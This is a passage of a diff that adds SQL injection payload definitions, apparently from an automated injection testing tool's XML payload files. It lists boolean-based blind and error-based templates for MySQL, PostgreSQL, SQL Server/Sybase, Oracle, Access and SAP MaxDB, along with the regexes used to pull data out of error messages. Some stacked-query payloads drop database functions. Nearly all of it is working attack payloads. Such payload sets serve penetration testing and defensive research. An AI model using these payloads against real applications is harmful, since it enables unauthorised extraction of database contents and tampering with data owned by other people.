+ + + PostgreSQL boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+
+ + + + PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES) + 1 + 5 + 1 + 1,2,3 + 3 + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + +
+ PostgreSQL +
+
+ + + + PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value) + 1 + 5 + 1 + 1,2,3 + 3 + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+
+ + + Oracle boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+
+ + + Microsoft Access boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + IIF([INFERENCE],[RANDNUM],1/0) + + IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0) + + + IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0) + +
+ Microsoft Access +
+
+ + + Microsoft Access boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + IIF([INFERENCE],[ORIGVALUE],1/0) + + IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) + + + IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0) + +
+ Microsoft Access +
+
+ + + SAP MaxDB boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END) + + + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END) + +
+ SAP MaxDB +
+
+ + + SAP MaxDB boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) + +
+ SAP MaxDB +
+
+ + + + + MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause + 1 + 2 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause + 1 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 4 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause + 1 + 2 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+
+ + + + PostgreSQL boolean-based blind - ORDER BY clause (original value) + 1 + 4 + 1 + 3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+
+ + + + + PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES) + 1 + 5 + 1 + + 3 + 1 + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause + 1 + 3 + 1 + 3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value) + 1 + 4 + 1 + 3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle boolean-based blind - ORDER BY, GROUP BY clause + 1 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+
+ + + Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 4 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+
+ + + Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause + 1 + 4 + 1 + 2,3 + 1 + ,IIF([INFERENCE],1,1/0) + + ,IIF([RANDNUM]=[RANDNUM],1,1/0) + + + ,IIF([RANDNUM]=[RANDNUM1],1,1/0) + +
+ Microsoft Access +
+
+ + + Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 5 + 1 + 2,3 + 1 + ,IIF([INFERENCE],[ORIGVALUE],1/0) + + ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) + + + ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0) + +
+ Microsoft Access +
+
+ + + SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause + 1 + 4 + 1 + 2,3 + 1 + ,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END) + + ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END) + + + ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END) + +
+ SAP MaxDB +
+
+ + + SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 5 + 1 + 2,3 + 1 + ,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) + +
+ SAP MaxDB +
+
+ + + + + MySQL >= 5.0 boolean-based blind - Stacked queries + 1 + 4 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END) + # + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - Stacked queries + 1 + 5 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END) + # + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END) + +
+ MySQL + < 5.0 +
+
+ + + PostgreSQL boolean-based blind - Stacked queries + 1 + 3 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) + -- + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) + +
+ PostgreSQL +
+
+ + + + PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES) + 1 + 5 + 1 + 0 + 1 + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 + + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1 + -- + + + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1 + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF) + 1 + 3 + 1 + 0 + 1 + ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] + + ;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] + -- + + + ;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - Stacked queries + 1 + 4 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END) + -- + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END) + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle boolean-based blind - Stacked queries + 1 + 4 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + -- + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + +
+ Oracle +
+
+ + + Microsoft Access boolean-based blind - Stacked queries + 1 + 5 + 1 + 0 + 1 + ;IIF([INFERENCE],1,1/0) + + ;IIF([RANDNUM]=[RANDNUM],1,1/0) + %16 + + + ;IIF([RANDNUM]=[RANDNUM1],1,1/0) + +
+ Microsoft Access +
+
+ + + SAP MaxDB boolean-based blind - Stacked queries + 1 + 5 + 1 + 0 + 1 + ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END + + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END + -- + + + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END + +
+ SAP MaxDB +
+
+ +
diff --git a/xml/payloads/02_error_based.xml b/xml/payloads/02_error_based.xml new file mode 100644 index 000000000..2b2354d2f --- /dev/null +++ b/xml/payloads/02_error_based.xml @@ -0,0 +1,1051 @@ + + + + + + MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 1 + 1 + 1,2,3 + 1 + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+
+ + + MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 1 + 3 + 1,2,3 + + 1 + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+
+ + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 2 + 1 + 1,2,3 + 1 + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 2 + 3 + 1,2,3 + + 1 + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + 2 + 3 + 1 + 1,2,3 + 1 + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + 2 + 3 + 3 + 1,2,3 + + 1 + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) + 2 + 4 + 1 + 1,2,3 + 1 + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ + + + MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED) + 2 + 4 + 3 + 1 + 1 + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ + + MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 2 + 1 + 1,2,3 + 1 + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 4.1 +
+
+ + + + MySQL >= 4.1 OR error-based - WHERE, HAVING clause + 2 + 2 + 3 + 1 + 1 + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 4.1 +
+
+ + + + MySQL OR error-based - WHERE or HAVING clause + 2 + 3 + 3 + 1 + 2 + OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + + OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + # + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL +
+
+ + + PostgreSQL AND error-based - WHERE or HAVING clause + 2 + 1 + 1 + 1 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + PostgreSQL OR error-based - WHERE or HAVING clause + 2 + 1 + 3 + 1 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause + 2 + 1 + 1 + 1 + 1 + AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause + 2 + 1 + 3 + 1 + 2 + OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
